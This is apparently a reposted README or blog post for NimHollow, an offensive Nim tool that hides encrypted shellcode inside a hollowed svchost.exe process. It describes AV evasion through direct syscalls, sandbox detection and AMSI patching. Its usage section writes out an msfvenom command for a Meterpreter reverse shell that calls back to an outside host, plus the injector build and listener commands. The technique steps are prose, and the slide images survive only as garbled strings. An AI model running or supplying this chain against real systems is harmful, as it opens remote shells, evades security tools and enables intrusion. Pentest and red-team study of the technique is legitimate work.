NimHollow – Nim Implementation Of Process Hollowing Using Syscalls (PoC)

Playing around with the Process Hollowing technique using Nim.

Features:

  • Direct syscalls for triggering Windows Native API functions with NimlineWhispers.
  • Shellcode encryption/decryption with AES in CTR mode.
  • Simple sandbox detection methods from the OSEP course by @offensive-security.
  • AMSI patching with @rasta-mouse’s method is also inside (uncomment it for your needs).

Usage

Installation:

~$ git clone --recurse-submodules https://github.com/snovvcrash/NimHollow && cd NimHollow
~$ nimble install winim nimcrypto
~$ pip3 install -r requirements.txt
~$ sudo apt install upx -y

Example:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin ~$ python3 NimHollow.py shellcode.bin -i ‘C:WindowsSystem32svchost.exe’ -o injector –upx –rm ~$ file injector.exe injector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows ~$ sudo msfconsole -qr msf.rc “>

~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin
~$ python3 NimHollow.py shellcode.bin -i 'C:WindowsSystem32svchost.exe' -o injector --upx --rm
~$ file injector.exe
injector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
~$ sudo msfconsole -qr msf.rc

Help:

usage: NimHollow.py [-h] [-i IMAGE] [-o OUTPUT] [--debug] [--upx] [--rm] shellcode_bin

positional arguments:
shellcode_bin path to the raw shellcode file

optional arguments:
-h, --help show this help message and exit
-i IMAGE, --image IMAGE
process image to hollow (default "C:WindowsSystem32svchost.exe")
-o OUTPUT, --output OUTPUT
output filename
--debug do not strip debug messages from Nim binary
--upx compress Nim binary with upx
--rm remove Nim files after compiling the binary

Process Hollowing in Slides

1. Create the target process (e.g., svchost.exe) in a suspended state.

AVvXsEju a7Ffp HSfDClLFXpy73drXnyiiO4oKN8CtdQlwSht6ORyEecUPXSPMfBFmJLoMIFqDtj0QffoLiMp4DPQx3JjkjKouDwJ90DAyJvG90CCzfpBJSrkIG4hElY scMAUY 8h6tjbBpUJH78IsaQAoMMNzm4gua75f85dsLNIFJ o6cYGbDp4PVAOiJQ=w640 h230

 

2. Query created process to extract its base address pointer from PEB (Process Environment Block).

AVvXsEjULkJVlq024VJB9IrUjDKpBt OjBI8UKoiZ6Fz1sOvSWroxv0yxyel0TzmvJ8ZCWpYdGaawnDnTAPlO0D7pbBZteKp9olJFM4yMhtsBh3 q2EFjwWDsONIbpiQS4kFRPO5u6oufk8FdQmAsdl9xLCMKa40th5MPe4e4YjOJC V x2ZrENQm9DahrPsyg=w640 h230

3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get the actual value of the image base address.

AVvXsEj4YjVTyYVc71 U7krLKyfyAW8wNXTLqUnvMC 79OGFASyREFmk7L2oVYmrc6ETaMdL5kOcvTb2pA4O4Y90iKgMWUfr3lsAYc HgIoqX3ooPMsAhXbbkdHeL9xJkGkPbPmAEJePEXkpHw7Fm74xzlWs6TH Cvc urgcS05Qop1rSx6Zy9 Iw3rnOP1eRg=w640 h230

 

4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address.

AVvXsEiDx5xt86 mineWvzVlNewT9msVRqwTRP2cg7gYHU5WGjF6tABwOt3vQTC 2HP5g3rdm200941lNtYrEc qpGDzL5TPqEXXU7tRGyXVRVsM 0906r5VSc53SFQSyzoDJifk9M6XJA0QkOL IuzNmP8MaSnpR5nm4NtDMsNO9usTDzbrVwjywxgdUiqzCA=w640 h324

5. Write the shellcode to the EntryPoint address and resume thread execution.

AVvXsEg3xYaOEl N1vVpYmhcvI2QPmXhdZT5UNA3KPlXbRfnGt4ArvO5rNg8w0lvQZi7kGE11MF4APxi0D9IVWEQ4sRPFp c2Qud2qyU5bN7817jXzLZGSkJD7RAkqUXRkgc5kx5f4UCkh0uVO O PCTrqAsd6Cc lrJ6 0K13Pw3q4S1zvDWkLixIsgEmr96A=w640 h230

 

Credits

click here to read full Article

Read More on Pentesting Tools

You may also like...

Leave a Reply

Your email address will not be published. Required fields are marked *

%d bloggers like this: